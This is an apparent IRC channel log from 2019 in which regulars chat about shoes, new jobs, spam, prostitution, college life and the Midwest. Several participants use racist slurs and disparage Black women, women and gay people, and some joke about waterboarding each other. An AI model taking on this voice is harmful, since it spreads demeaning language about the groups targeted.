religion where 'it is confusing to ME, author, and therefore Must Be Hard To Break' 1893876;1549654888;mircea_popescu;i confess i like it, as expression, but it also grates me. deeper understanding is not generally "more advanced" in the sense of, "sits atop larger pyramid", but generally in the sense of http://btcbase.org/log/2019-01-04#1884426 1893877;1549654888;a111;Logged on 2019-01-04 17:18 mircea_popescu: why the fuck didn't i think of that. 1893878;1549654902;mircea_popescu;that literally ~advanced~ metamaterial isn't for this advance further, but rather -- closer.\ 1893879;1549654903;asciilifeform;right! it's ~never in the 'pyramid' sense 1893880;1549654950;asciilifeform;it's in the 'whole thing is a bridge to nowhere on acct of [noether's symmetry or other item perpetrator is entirely innocent of]' 1893881;1549654993;mircea_popescu;i suppose the dead endness of dead ends is ~always~ going to be sitting on a pyramid tho. "how do you know this can't be" very different from "here, try it, it works" 1893882;1549655029;asciilifeform;'pyramid' is typically product of 'linear mind' ( from mircea_popescu's recent piece on subj ) pilin' up whatever dung he could muster 1893883;1549655060;asciilifeform;e.g. the infamous circle-squarers, sometimes produced book-length piles o'??? 1893884;1549655243;feedbot;http://qntra.net/2019/02/brexit-spirit-no-fault-divorce-coming-to-airstrip-one/ << Qntra -- Brexit Spirit: No Fault Divorce Coming To Airstrip One 1893885;1549655313;diana_coman;mircea_popescu, I found only this one http://p.bvulpes.com/pastes/Iitk3/?raw=true although I remember a better one 1893886;1549655469;asciilifeform;could've sworn that item was subj of old thrd 1893887;1549656757;mircea_popescu;this seems familiar. 1893888;1549656762;mircea_popescu;yeah, i suspect might be it. 1893889;1549656971;mircea_popescu;"It has been brought to our attention [...] that offensive language is commonly used by [...] staff. Such behavior, in addition to violating our policy, is highly unprofessional and offensive to both visitors and staff." << very typical flavour of [http://trilema.com/2016/tight-science-loose-pseudoscience-and-a-warm-pot-to-piss-in-intellectually-speaking/#selection-75.1-75.64][bureaucrat] alt-worlding, "here staff, here's wha 1893890;1549656971;mircea_popescu;t is offensive to you" 1893891;1549657044;mircea_popescu;very much the unifying thread of http://trilema.com/2018/hey-women-did-you-know-that-before-the-pantsuited-hilarity-gave-you-your-civil-rights-you-were-living-in-slavery/ and tlp's "hey x people, did you know you hate y people ?" usg.media model. 1893892;1549657088;mircea_popescu;"staff" didn't know what's highly offensive to it until the nigger brigade showed up to enlighten! 1893893;1549657339;mircea_popescu;come to think about it, perhaps the largest open question re ro language would be why exactly everything exasperatingly dubious belongs to the Fish. 1893894;1549657451;mircea_popescu;tyvm diana_coman 1893895;1549657628;BingoBoingo;" 1893896;1549657629;BingoBoingo;10. You should never call partner representatives as boul dracului or t�mpitu\' ala." << Gem 1893897;1549658098;mircea_popescu;sadly they sound like nothing in english. "devli's ox" wtf is that ?! 1893898;1549658191;mircea_popescu;timpit doesn't even exist in any sense, unless you dig out slavonic. what's the english ~word~ for someone made dull by repeated blunt skull trauma ? 1893899;1549659197;trinque;they're "punch drunk" ? 1893900;1549659210;BingoBoingo;Nah, that's only when they are on tilt 1893901;1549659299;mircea_popescu;that's acute, the idea here's chronic. 1893902;1549659381;mircea_popescu;pity it's missing, too, because i know of scarcely better word to denote us corp drone besides ro tîmpiți. 1893903;1549662692;asciilifeform;in other noose, asciilifeform walks ever closer to http://btcbase.org/log/2018-12-21#1882654 , the ro item http://btcbase.org/log/2017-10-26#1729202 turned out to contain an exact 1x2cm ~purpose-made cavity~ in each heel, and they wore through simultaneously . i.e. obsolescence bomb. 1893904;1549662692;a111;Logged on 2018-12-21 22:24 asciilifeform walks on just this side of the razor's edge of 'fucking, i'ma make own shoes' 1893905;1549662692;a111;Logged on 2017-10-26 13:27 asciilifeform: http://btcbase.org/log/2017-10-26#1729160 << for perhaps first time in life i have real shoes nao 1893906;1549662730;asciilifeform;filled'em with high pressure silicone for petrol pumps. but still fucking outrageous. 1893907;1549662824;asciilifeform;in usa you can walk into supposed shoe place ( http://btcbase.org/log/2018-01-11#1769002 ) and pay $maxint, and will still get ~this ( not to mention , it's a lemon market, the folx with ~money here buy decorative fucktardery with wooden soles , not actually made for walking ) 1893908;1549662824;a111;Logged on 2018-01-11 15:50 asciilifeform: BingoBoingo: i suspect that decent shoes are somehow illegal in usa. they are ~entirely unavailable in any shop i've ever walked into there. 1893909;1549662987;asciilifeform;how the fuck is it, that in '40s they not only had shoes that one could walk from moscow to berlin and back, but cheaply enuff that erry piece of cannon fodder could have a pair. 1893910;1549663272;BingoBoingo;Burlington Problem. Outside of Clotheirs lucky enough to find patronage, the sector is dominiated by cost cutting and product turnover. Every now and then pieces of butthurt "sneaker investors" pop up with the penetrated feeling very sore their forum investments fell apart in storage without ever having been worn. 1893911;1549663578;mircea_popescu;so come over buy some shoes/clothes/gent wares. 1893912;1549663587;mircea_popescu;bimbo can take you there, optionally in schoolgirl outfit. 1893913;1549664930;BingoBoingo;Meanwhile in teeth and claw, today "burning bob beck" exhibit 1: the hotlinkers at google: https://archive.is/yKcpC exhibit 2: the out of WoT but tin women free DDG https://archive.is/PJvE4 1893914;1549665486;BingoBoingo;And from the fallen out of communion files, Pete got credit card frauded http://www.contravex.com/2019/02/02/what-do-credit-card-thieves-like-to-buy-guns-and-games-in-paris/ 1893915;1549666257;asciilifeform;i didnt see much worth buying in BingoBoingostan.. or was mircea_popescu speaking of his locale 1893916;1549666350;asciilifeform;BingoBoingo: holy mother of fuck is that d00d's www a snoar nowadays 1893917;1549666374;BingoBoingo;Chronic Domestication Syndrome 1893918;1549666430;BingoBoingo;asciilifeform: He had to have been speaking of his tropical paradise. 1893919;1549666499;asciilifeform;i admit i have some difficulty picturing proper, winter-capable fur-lined boots sold in cr, but if mircea_popescu says he saw this, i will believe 1893920;1549666530;asciilifeform;( and will look for'em when i finally get the chance ) 1893921;1549666558;BingoBoingo;Ah, those are the items in question! 1893922;1549666594;asciilifeform;BingoBoingo: yea, the kind where you can do rain, shine, winter, summer, through standing water, wherever 1893923;1549666617;asciilifeform;mud esp. 1893924;1549666629;asciilifeform;sometimes i think half of the mud in the world, lives right here in swampistan 1893925;1549666779;BingoBoingo;Well, "Redwing 606" hasn't rotted yet, but I haven't been wearing them much this summer either. Also not fur lined. 1893926;1549666991;asciilifeform;these look solid. tho i fuckinghate laces. 1893927;1549667084;BingoBoingo;Outsource dealing with the laces to pet 1893928;1549667203;BingoBoingo;I can say these are more shoe than any other shoes I have had before. On the other hand I not have experience with the shoes that set you bar for "shoes" 1893929;1549667315;asciilifeform;lol check out what their www shat forth ? 1893930;1549667317;asciilifeform;http://p.bvulpes.com/pastes/cDPk3/?raw=true 1893931;1549667407;BingoBoingo;Eat more MicroShaft 1893932;1549667822;asciilifeform;BingoBoingo: afaik the state-of-the-art bar is still http://btcbase.org/log/2019-02-08#1893909 . 1893933;1549667822;a111;Logged on 2019-02-08 21:56 asciilifeform: how the fuck is it, that in '40s they not only had shoes that one could walk from moscow to berlin and back, but cheaply enuff that erry piece of cannon fodder could have a pair. 1893934;1549667858;asciilifeform;afaik these aint gettable (new) today, without time machine, tho. 1893935;1549667881;asciilifeform;rather like the old thread with mircea_popescu's top hat. 1893936;1549668034;asciilifeform;aaat least it's a pair of 100bux boot, and not pete's '15 days in the shop and $10`750 in servicing costs,ii since then he’s only spent 4 days in the shop and $3`750 in servicing costs.' toyota 1893937;1549668051;asciilifeform;( http://www.contravex.com/2019/02/07/three-years-with-jay/ , lulzy ) 1893938;1549668340;BingoBoingo;That's only somewhere between 4 to 7 air cooled VW Fuscas down here. 1893939;1549668435;asciilifeform;imho it's hilarious, d00d is loaded and yet there he is , buying plastic tubs that run winblowz and thinking they're cars 1893940;1549668618;BingoBoingo;Nah, he domesticated, tempered his past hobbies, and is on an all too familiar track. 1893941;1549668872;asciilifeform;speaking of domestic appliances, the freight people called, http://btcbase.org/log/2019-02-08#1893570 item is set to come in on monday 1893942;1549668872;a111;Logged on 2019-02-08 00:34 asciilifeform: in that light the oven oughta make a good ic frier, has adjustable voltage. 1893943;1549668912;asciilifeform;'where sir is loading dock' 'no dock, put on asphalt' 1893944;1549671807;feedbot;http://mocky.org/Trick-or-Treat-Caring-vs-Uncaring-Whores/ << Mocky.org -- Trick or Treat: Caring vs Uncaring Whores 1893945;1549674342;BingoBoingo;Mocky: Nice Qatar update 1893946;1549674364;Mocky;thx 1893947;1549674389;Mocky;got a handful more to grunt out. not that I'm back to work I have free time again 1893948;1549674415;Mocky;then imma migrate to wp 1893949;1549674419;BingoBoingo;Funny how that works 1893950;1549674430;Mocky;*now that I'm back to work 1893951;1549674460;Mocky;i haven't had to go into the office every day for 10 years. takes some getting used to 1893952;1549674473;BingoBoingo;Ah 1893953;1549674608;BingoBoingo;Well, when you get vacation time whores are much easier (in theory) to find down here. 1893954;1549674677;Mocky;im on 6 month contract to hire, so no paid time off until they beg me to go perm in July 1893955;1549674681;BingoBoingo;Nevermind the whorehouse around the corner has a couple different websites proposing different hours (franchise operation linked to online online/cable tv porn channel). 1893956;1549674763;Mocky;franchise, wtf lol 1893957;1549674806;BingoBoingo;Mocky: It claims common ownership with the porn channel, but... its online presence is poorly coordinated by even the local standards 1893958;1549674852;Mocky;such branding 1893959;1549674870;BingoBoingo;And the prices are not competitive with the massage houses around Tres Cruces 1893960;1549675111;Mocky;my new slave galley issued me a mac book pro. ugh, i thought i was going to make it to the grave without having to mac 1893961;1549675242;BingoBoingo;Well, think of it as them giving you a condom 1893962;1549675247;Mocky;'thunderbolt' ports only, even for power. every periph unusable without holy water blessed apple dongle 1893963;1549675421;Mocky;took me a full minute to find the power button, turning it over and every which way. 1893964;1549675440;BingoBoingo;Thankfully it minimizes the temptation to use it for anything else. 1893965;1549675483;Mocky;at least there's an actual terminal unlike windows 1893966;1549675503;*;BingoBoingo remembers first torx screwdriver fondly. Acquired at RadioShack in 1999 to open "Mac Classic" 1893967;1549675553;mircea_popescu;o check it out, it's a mocky 1893968;1549675556;Mocky;my first torx was to pull a ford brake pad 1893969;1549675556;BingoBoingo;Mocky: Plenty of people have run into the terminal not actually being a terminal. 1893970;1549675560;mircea_popescu;how's teh new job yo ? 1893971;1549675590;Mocky;it's so social compared to working alone at home 1893972;1549675654;mircea_popescu;haha. lotta hotties packed in a cube farm ? 1893973;1549675660;Mocky;BingoBoingo: how so, bash still bash 1893974;1549675738;Mocky;mircea_popescu: buncha cute chix there yea, lucky for them they now get a man to admire 1893975;1549675769;mircea_popescu;i knew a guy took a pay cut to go tech support a call center. 1893976;1549675788;mircea_popescu;his escort bills went down to ~0, which more than compensated 1893977;1549675794;BingoBoingo;Mocky: The things it plugs into tend not to work the way expected on other systems. phf and pete_duskenski both ran into this iirc 1893978;1549675804;mircea_popescu;seemed like he's on to something for a season. then his drama account blew through the roof. 1893979;1549675805;Mocky;mircea_popescu: thought that was where the black chix who can't code go 1893980;1549675835;mircea_popescu;Mocky not usually, call centers generally in orcistan, black girls who can't code only found in "our country". 1893981;1549675837;Mocky;BingoBoingo: ah yes, i remember reading as much in the logs 1893982;1549675850;BingoBoingo;In other news, tonight's second part of the local blackface parade is on despite lightening in the not so distant distance 1893983;1549675852;mircea_popescu;everywhere else, they're like rabbits who can't fly -- nobody seems to notice. 1893984;1549676013;Mocky;so many roles in 'modern development', mostly slotted by chix 'scrum master' 'product owner' 'ux designer' in addition to the traditional hr 1893985;1549676069;BingoBoingo;What about "clean floors"? 1893986;1549676080;mircea_popescu;basically euphemism threadmill for "social worker" aka "active fat black old woman on govt dole". 1893987;1549676114;mircea_popescu;don't call the cripples handicapped anymore, and btw mammie is nao "scrum master", "helps outsiders identify which interactions with the scrum team are helpful and which aren't". 1893988;1549676158;mircea_popescu;the "bitch, did anyone ask yo dum'ass anything ?" fundamental question still unanswered. and unanswered shall it stay, for as long as "participation" is "a value" etc. 1893989;1549676206;BingoBoingo;So, new political commercial popped up during the Parade Break. In song form "Los atracadores, se van, se van" Ended with a time and date for a rally in Colonia. 1893990;1549676286;BingoBoingo;About as relevant as a national campaign rally in Idaho would be if the US didn't have the electoral college. 1893991;1549676408;BingoBoingo;Was a bigger shock than seeing a local naval infantry convoy consisting of a pickup truck and two motocicletas 1893992;1549676444;Mocky;lol 1893993;1549676540;BingoBoingo;The "Infanteria Naval" truck was a new sight outside of being stuck in traffic on Avenida General Riviera. Usually here we get the "Prefectura Naval" 1893994;1549676549;mircea_popescu;http://btcbase.org/log/2019-02-08#1893916 << i ended up clicking bb's linkbait, there's this funkenstain dood which sounds familiar. 1893995;1549676549;a111;Logged on 2019-02-08 22:52 asciilifeform: BingoBoingo: holy mother of fuck is that d00d's www a snoar nowadays 1893996;1549676555;mircea_popescu;da fuck was he ? can't attach to anything. 1893997;1549676613;mircea_popescu;http://btcbase.org/log/2019-02-08#1893915 << he was, yes. 1893998;1549676613;a111;Logged on 2019-02-08 22:50 asciilifeform: i didnt see much worth buying in BingoBoingostan.. or was mircea_popescu speaking of his locale 1893999;1549676623;BingoBoingo;mircea_popescu: He hung around and explicitly embraced socialism around the time of the BitBet death 1894000;1549676650;mircea_popescu;so basically, talk-radio host only ? 1894001;1549676668;BingoBoingo;Made an alt-coin "Wood Coin" chopped rather than mined. I confuse him in my head with Framedragger 1894002;1549676693;BingoBoingo;I dunno if he even has the voice for radio. 1894003;1549676703;BingoBoingo;Couple loud months, forgotten 1894004;1549676718;BingoBoingo;or loud weeks 1894005;1549676754;mircea_popescu;oh oh oh that's what he was, larping about something or the other, i ended up making money on an investment in it. 1894006;1549676765;mircea_popescu;i recall now. 1894007;1549676839;mircea_popescu;http://btcbase.org/log/2019-02-08#1893943 << isn't it high time you took a hint, got a proper warehouse, with a two-truck wide dock and errything ? 1894008;1549676839;a111;Logged on 2019-02-08 23:35 asciilifeform: 'where sir is loading dock' 'no dock, put on asphalt' 1894009;1549676909;Mocky;in other news, I got my first ru spam blog comment [http://p.bvulpes.com/pastes/CI56G/?raw=true][разработка сайтов] 1894010;1549677042;BingoBoingo;Mocky: That's about 27% of Qntra spam as measured by eyeballs 1894011;1549677076;BingoBoingo;Another 15% is spam advertising kokaine 1894012;1549677091;BingoBoingo;Spam has changed 1894013;1549677102;BingoBoingo;Or at least its tongue has 1894014;1549677153;BingoBoingo;In other news, driving rain stopped the blackface parade which will be rescheduled because a 6,000,000 peso prize pool is on the line 1894015;1549677645;*;mircea_popescu ended up writing a novel for mocky's comment sectyion 1894016;1549679976;trinque;Mocky: man aside this caring spectrum construction, how do you approach the "staff hooker at trafficked locale" likelihood of being a viral sink multiplied by the success of the hotel in question? 1894017;1549680035;trinque;I am almost never in the market for the advertised wares. 1894018;1549680412;Mocky;trinque: I approach it by engaging them in conversation only 1894019;1549680596;trinque;heh, the airgapped solution never fails! 1894020;1549680800;BingoBoingo;trinque: Condoms work, the thinner the less likely to tear in honest vagina 1894021;1549681406;mircea_popescu;Mocky in modernation. 1894022;1549682302;mircea_popescu;http://trilema.com/2016/two-theoretical-alternatives/#comment-118509 << in old lulz. 1894023;1549682310;mircea_popescu;and jesus fuck my ro to english translations are terribad. 1894024;1549682807;BingoBoingo;Well, 3 years later 1894025;1549682943;BingoBoingo;And poor girls failing to leverage their natural rarity 1894026;1549682962;asciilifeform;http://btcbase.org/log/2019-02-09#1894007 << far out of budget, may as well be uboat 1894027;1549682962;a111;Logged on 2019-02-09 01:47 mircea_popescu: http://btcbase.org/log/2019-02-08#1893943 << isn't it high time you took a hint, got a proper warehouse, with a two-truck wide dock and errything ? 1894028;1549683018;BingoBoingo;asciilifeform: I recall at some time before the Uruguay adventure suggesting southern illinois as a lower cost basis sticks 1894029;1549683053;asciilifeform;http://btcbase.org/log/2019-02-09#1893996 << d00d ripped off trb, and even wrote a piece of yarn to go with it where 'he stole great jewel from dumb orcs'. today hangs with kako. seems to have sinological / eastern 'learnings' wank - leanings. 1894030;1549683053;a111;Logged on 2019-02-09 01:42 mircea_popescu: da fuck was he ? can't attach to anything. 1894031;1549683145;asciilifeform;mircea_popescu: see also http://btcbase.org/log/2016-09-29#1550604 ( seems to be defunkt nao tho ) 1894032;1549683145;a111;Logged on 2016-09-29 22:36 asciilifeform: http://woodcoin.xyz/woodcoin/today << lelz, apparently funkenstein made his own chan, a while ago, complete with logs, bots, etc. 1894033;1549683222;asciilifeform;http://btcbase.org/log/2019-02-09#1894020 << wonder if anyone sells condom where 2 layers of rubber, and between'em -- capsaicin. 1894034;1549683222;a111;Logged on 2019-02-09 02:53 BingoBoingo: trinque: Condoms work, the thinner the less likely to tear in honest vagina 1894035;1549683232;asciilifeform;'alarm bell' 1894036;1549683236;trinque;ahahaha 1894037;1549683240;trinque;product! 1894038;1549683245;asciilifeform;lol 1894039;1549683260;BingoBoingo;Latex is abrasive to latex 1894040;1549683298;asciilifeform;so suspend the payload in something that aint 1894041;1549683323;BingoBoingo;the two latex layers will inevitably touch 1894042;1549683341;asciilifeform;this strictly to go into ye olde http://btcbase.org/log/2019-02-05#1892784 recurring-thread. 1894043;1549683341;a111;Logged on 2019-02-05 14:57 asciilifeform: gotta indicate to owner when a piece of iron has realized that it is going south. 1894044;1549683375;BingoBoingo;Capsaicin is an awfully loud alarm bell topically applied in meaningful concentrations 1894045;1549683386;asciilifeform;novocain would work just as well for the job 1894046;1549683410;asciilifeform;'halon system' for cock. 1894047;1549683418;BingoBoingo;What's numbing going to do to someone in the groove? 1894048;1549683428;asciilifeform;if hole then stop. 1894049;1549683463;asciilifeform;swap the thing, resume.. 1894050;1549683568;BingoBoingo;Either you have a numbing agent that isn't a vasoconstrictor and then what's an odd sensation on top of bliss or you have strong vasoconstrictor and "HOLY SHIT DICK IS SHRINKING" which adds possible complications due to fucking with circulation. could end up with priaprism clotting 1894051;1549683569;asciilifeform;http://btcbase.org/log/2019-02-09#1893960 << requisition 'vmware', throw e.g. cuntoo inside, can pretend it's an actual comp 1894052;1549683569;a111;Logged on 2019-02-09 01:18 Mocky: my new slave galley issued me a mac book pro. ugh, i thought i was going to make it to the grave without having to mac 1894053;1549683630;asciilifeform;BingoBoingo: think of it as the mercaptan that gets added to naturalgas. it aint meant to enhance the smelling experience, quite opposite. 1894054;1549683714;BingoBoingo;Mercaptan doesn't generally risk losing chunks of lung tissue. Effective local anesthetics/vasoconstrictors do risk killing meat if applied in uncontrolled manners. 1894055;1549683738;asciilifeform;capsaicin then, lol. 1894056;1549683768;BingoBoingo;Capsaicin in that respect is the less destructive alarm bell until encountered live. 1894057;1549683909;BingoBoingo;In undergrad when Bush 2 was President my roommates and myself experimented with all sorts of "not torture" USG tech 1894058;1549683985;BingoBoingo;Waterboarding generally induced more acute feelings of mortality, but OC... that left lingering resentments 1894059;1549684009;asciilifeform;BingoBoingo: i recall, when 1st saw mention of 'waterboarding', didn't grasp what the item behind the limba de lemn was, thought 'ah, like snowboarding, but on water, that thing they do where board rides on wave' , initially was confused 1894060;1549684053;BingoBoingo;Permeable wet rag applied over airholes, stream of water applied to rag 1894061;1549684067;asciilifeform;well yes, 'the extraordinary question'(tm)(r) 1894062;1549684072;trinque;ah I've chopped peppers then got dick out. isn't so bad 1894063;1549684076;trinque;it'll wake you right up! 1894064;1549684096;asciilifeform;( conan doyle's 'the leather funnel' had a picturesque picture of the trad inquisition-style waterboard ) 1894065;1549684105;BingoBoingo;The explanation of the board becomes obvious when applying to subjects in bathtub. Gotta restrain the limbs 1894066;1549684124;asciilifeform;BingoBoingo: same func as of the 'bascule' in guillotine, aha 1894067;1549684145;BingoBoingo;trinque: I've chopped peppers as well. The difference is concentration. Goes back to the cannabis threads. 1894068;1549684164;BingoBoingo;asciilifeform: Well, flailing is a reflex rather than conscious activity 1894069;1549684274;asciilifeform;BingoBoingo: the trad sovok variant of this item is 'let's play elephant'. where with gas mask. 1894070;1549684298;asciilifeform;dry waterboard, if you will. 1894071;1549684365;BingoBoingo;asciilifeform: All I can say is I haven't spoken with 6 of 8 in a decade, 7 of 8 in 3 years 1894072;1549684520;trinque;BingoBoingo: did I read this correctly in re: experimenting with torturing each other? 1894073;1549684540;trinque;what, early 20s drug habit didn't cut it for y'all? 1894074;1549684566;BingoBoingo;trinque: Midwestern liberal arts college band of brothers failed effort arising from a lack of culture 1894075;1549684595;BingoBoingo;The only drugs we needed were a lot of booze an a bit of weed, when available. 1894076;1549684612;mircea_popescu;asciilifeform i dunno if you realise this, but condom is quite permeable. 1894077;1549684628;mircea_popescu;not for large things like sperms, but vaporub certainly crosses. 1894078;1549684638;asciilifeform;yea the latex type would be, wouldn't. 1894079;1549684643;mircea_popescu;also, condom very vulnerable, wanna see a show put one on then sprinkle lime juice on it. 1894080;1549684668;*;asciilifeform remembers the http://btcbase.org/log/2013-11-13#378362 thrd. 1894081;1549684668;a111;Logged on 2013-11-13 14:20 asciilifeform: we had a beautifully-educational incident with DMSO 1894082;1549684713;BingoBoingo;Fuck, DMSO carries everything 1894083;1549684736;BingoBoingo;Up to bowling ball 1894084;1549684737;asciilifeform;BingoBoingo: no, but he's right, latex is porous . 1894085;1549684741;trinque;BingoBoingo: isn't as though I don't appreciate the "subject me to something why don't you!!!" urge. was discussing this earlier in the shop. 1894086;1549684835;mircea_popescu;seems the more natural and arguably healther way that college experience goes would be (c)a(r)nal knowledge. 1894087;1549684849;BingoBoingo;trinque: No diminuative interpretation implied in the reading of your question. 1894088;1549684879;BingoBoingo;Cattle prod is the gentlest introduction to "less lethal" 1894089;1549684899;BingoBoingo;Followed by "tazer" 1894090;1549684905;asciilifeform;BingoBoingo: couldn't find ye olde trad army field telephone ? 1894091;1549684918;BingoBoingo;Chicom "Picanas" though are up there with OC 1894092;1549684919;trinque;"piss on the fence" jimmy 1894093;1549684923;asciilifeform;wai straight to cattleprod. 1894094;1549684951;BingoBoingo;asciilifeform: Cattle prod is very localized stimulus 1894095;1549684962;asciilifeform;so is field phone 1894096;1549684983;BingoBoingo;I haven't licked a working field phone 1894097;1549685032;trinque;in my young idiot tribe it was more an endurance game of substance abuse and seeing who was left standing at the end. 1894098;1549685045;BingoBoingo;trinque: We did plenty of that too 1894099;1549685088;BingoBoingo;But liberal arts college 2004-2008 we all knew Obola was bringing African Medicine and what is Pantsuit inca? 1894100;1549685116;trinque;this was midwest somewheres? 1894101;1549685119;*;BingoBoingo clearly remembers in 2004 being told "Hillary's turn next" 1894102;1549685136;BingoBoingo;trinque: McKendree College, Lebanon Illinois 62254 1894103;1549685158;asciilifeform;BingoBoingo: iirc recently they trotted out a new pantsuit cow whose 'turn next', but the name escapes me 1894104;1549685190;trinque;the flailing and 300 liberal messiahs indicates they've got nothing left. 1894105;1549685199;BingoBoingo;The Upper Classman apartements trinque were bordered by dairy cows grazing. Went to see week before taking off. Cows still there. 1894106;1549685229;BingoBoingo;asciilifeform: Kamala Harris. Opposed by AOC, a sort of short mestizo Pol Pot aspergant. 1894107;1549685254;asciilifeform;BingoBoingo: at umd they had ~1~ cow. with a sort of hatch installed in it, for didactic purposes. and when it keels over they make a new one. 1894108;1549685277;trinque;BingoBoingo: it's not different from my evening; chugged a few beers with ben_vulpes and the junior gent. "throw me at anything boss!", and we still make these in TX apparently. 1894109;1549685299;BingoBoingo;trinque: They had a chance until they refused me for the referance librarian position 2012-2017 advertised annually as 'entry level' 1894110;1549685341;trinque;and what I've got for him isn't death, but "maybe we get a shot after enough webshits" 1894111;1549685346;BingoBoingo;asciilifeform: Working dairy. Multiple cows, one young black woman injured by escaped calf. 1894112;1549685389;BingoBoingo;trinque: From what I see in Texas you at least had targets. 1894113;1549685468;BingoBoingo;My cohort broke to humanities out of relativism, God still sorting out the casualties 1894114;1549685506;mircea_popescu;this is possibly the shittiest college anyone yet named. 1894115;1549685572;BingoBoingo;It gets shittier. I only read Lardner this past weekend. None of my three "academic advisers" read lardner. 1894116;1549685579;BingoBoingo;I asked! 1894117;1549685632;BingoBoingo;Still, more grounded than SIU Department of Philosophy which followed my doubling down. 1894118;1549685669;trinque;somehow the recreational pain to humanities to jesus bridge makes perfect sense. 1894119;1549685739;trinque;at any rate texas doesn't have much these days. you encounter these ones you can throw at anything at 100 ppm tops 1894120;1549685741;BingoBoingo;As mentioned in the logs SIU Philosophy department has been more than gutted by their naive standards, more cuts to come. 1894121;1549685786;BingoBoingo;McKendree went on a Bond Binge 2 years after I left, still binging. i suspect the landing will suck. 1894122;1549685868;BingoBoingo;Mizzou surrendered any pretense it has to Univeristy in the name of sportsball, let accredidation in what I went there to degree in lapse, but... 1894123;1549685884;BingoBoingo;Fucking chair of cards. 1894124;1549685890;trinque;BingoBoingo: how are you finding uy these days 1894125;1549685943;mircea_popescu;from on the ground reports, ~all us undergrad programmes mostly consist of junior data entry jobs these days. 1894126;1549685944;BingoBoingo;trinque: Tranquilo. Imports are the biggest friction point, but even those are smooth. 1894127;1549685975;BingoBoingo;mircea_popescu: They don't unless standards for Junior Data Entry fell off of a cliff. 1894128;1549685989;mircea_popescu;it's basically "look around on the net and paste in this box" 1894129;1549686015;mircea_popescu;exams practically http://gothtypes.wikia.com/wiki/Emo_Goth one and all. 1894130;1549686047;mircea_popescu;i'm sorry. TEXTBOOKS practically http://gothtypes.wikia.com/wiki/Emo_Goth one and all. exams -- https://www.gotoquiz.com/scemo_emo_goth_or_just_a_poser 1894131;1549686070;BingoBoingo;My alma mater still let professors enforce pages and wordcount so gotta paste more. 1894132;1549686092;mircea_popescu;replace "goth" with "engineer" or w/e, "poser" with "career woman", http://trilema.com/2014/how-the-other-half-lives-or-michael-o-church-is-a-scummy-fuckwit/ has the details./ 1894133;1549686155;BingoBoingo;The highest standards I encountered were at SIU, but what they wanted was the most retarded. Mizzou was in the middle as far as being in the middle of retardedness of desired spew and volume. McK was at the bottom for lack of discernable standards. 1894134;1549686167;trinque;damn, I score 90% goth 1894135;1549686181;BingoBoingo;fucking center for DEWEY studies (now defunct) 1894136;1549686190;*;trinque updates resume 1894137;1549686210;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-november-and-december-1715-part-i/ << Bimbo.Club -- Philosophical Transactions. For the months of November and December, 1715. - Part I. 1894138;1549686280;mircea_popescu;trinque so does hanbot 1894139;1549686425;BingoBoingo;Fuck is there a result other than 90% goth! 1894140;1549686701;mircea_popescu;keks. 1894141;1549686753;BingoBoingo;What does Bimbo score 1894142;1549687216;nicoleci;81% scene! suckk it goths 1894143;1549687260;BingoBoingo;I blame Shitcago 1894144;1549687277;BingoBoingo;All three syllables say cagada 1894145;1549687376;nicoleci;lol no way! we should all blame indiana, for everything always 1894146;1549687381;BingoBoingo;I dunno how Spanish works in Costa Rica beyong everyone pretending to be Usted. 1894147;1549687403;BingoBoingo;But here cool means being de mierda, de demonio, de ... 1894148;1549687426;BingoBoingo;nicoleci: The only place in Indiana that matters is New Harmony 1894149;1549687499;nicoleci;whats so great about new harmony? a few extra farms? tractor exhibit? 2 kfc buffets?! 1894150;1549687534;BingoBoingo;German pesant movements were buried there with Paul Tillich 1894151;1549687546;*;BingoBoingo farted for emphasis 1894152;1549687728;nicoleci;lol - ahh, im sorry for him thats where he ended up, would have been better in iowa 1894153;1549687754;BingoBoingo;No, Iowa got the pretentious faggot workshop 1894154;1549687807;nicoleci;lmao, what did iowa ever do besides being a better indiana? 1894155;1549687827;BingoBoingo;Indiana gets thoeretical Utopian peasants, Illinois gets applied Utopian peasants, Iowa gets East Coast faggots on adventure 1894156;1549687841;BingoBoingo;Iowa is a worse Indiana 1894157;1549687922;nicoleci;lmao, BingoBoingo with the most accurate review of the midwest 1894158;1549687957;BingoBoingo;I lived it before moving to a place even more rural 1894159;1549687988;mircea_popescu;ahahaha check out the scenester 1894160;1549688034;BingoBoingo;My hometown to this day exports transformers and high voltage switches though from one as opposed to three firms it once did 1894161;1549688170;nicoleci;BingoBoingo, what did you do for fun there? 1894162;1549688181;nicoleci;sounds pretty terrible 1894163;1549688240;BingoBoingo;nicoleci: In younger times go to even smaller Alhambra, blow up ford escorts with the "toast club" 1894164;1549688293;BingoBoingo;In older times go to AA meetings, Reunion with kids younger than "toast club" 1894165;1549688298;nicoleci;mircea_popescu, the only scene i have is the one without water because the locals, turn it off at 9pm every night 1894166;1549688377;nicoleci;BingoBoingo, what are ford escorts?! 1894167;1549688377;BingoBoingo;Ok, I wonder why the locals here don't take the water quality remedy back home and use solar power to stir and oxygenate the water near the beach to prevent fishkills 1894168;1549688405;BingoBoingo;nicoleci: Compact cars with a transmission that will mate to literally anything 1894169;1549688423;BingoBoingo;Ample space under the hood. 1894170;1549688448;BingoBoingo;Got a dump truck with a broken chassis? Toss that good motor in an escort. 1894171;1549688503;nicoleci;ah okay, makes sense. this is giving me terrible flashbacks to indiana truck rallies 1894172;1549688563;BingoBoingo;Did you do combine demolition derbies? 1894173;1549688600;BingoBoingo;Pitting Harvesters past their economic utility in one last effort at a cash prize> 1894174;1549688606;nicoleci;BingoBoingo, lmao i refused to go but of course. then you head to the county fair! 1894175;1549688624;BingoBoingo;How many days was your county fair? 1894176;1549688670;BingoBoingo;And how far was your walk to there 1894177;1549688751;*;BingoBoingo especially enjoyed the police intervening in the combine demo derby for "attempted murder" when the hot driver loaded up the bin with stolen utility poles 1894178;1549688796;nicoleci;BingoBoingo, like two weeks! and it cost money to get in, people talked about it for a fucking month before. Ahaha it was about 40 minutes from me so no walking, lake county, IN is a pretty large area unfortunately. 1894179;1549688816;nicoleci;lmao, sounds about right. 1894180;1549688819;BingoBoingo;lol, mine was and still is one week though the days shifted 1894181;1549688843;nicoleci;drama at the county fair! so many suspect ICP fans 1894182;1549688845;BingoBoingo;Niver less than five minutes on foot until it turned into 20+ hours on plane 1894183;1549688908;nicoleci;BingoBoingo, ah sweet freedom. 1894184;1549688910;*;BingoBoingo down was down with the clown but always got lost on the way to the gathering... Until it lost its appeal 1894185;1549688993;BingoBoingo;nicoleci: I suspect the Republic's biggest audience historically has been of midwestern upbringing for the acuteness of what pantsuit stole being felt. 1894186;1549689014;BingoBoingo;Other parts of the world feel less. 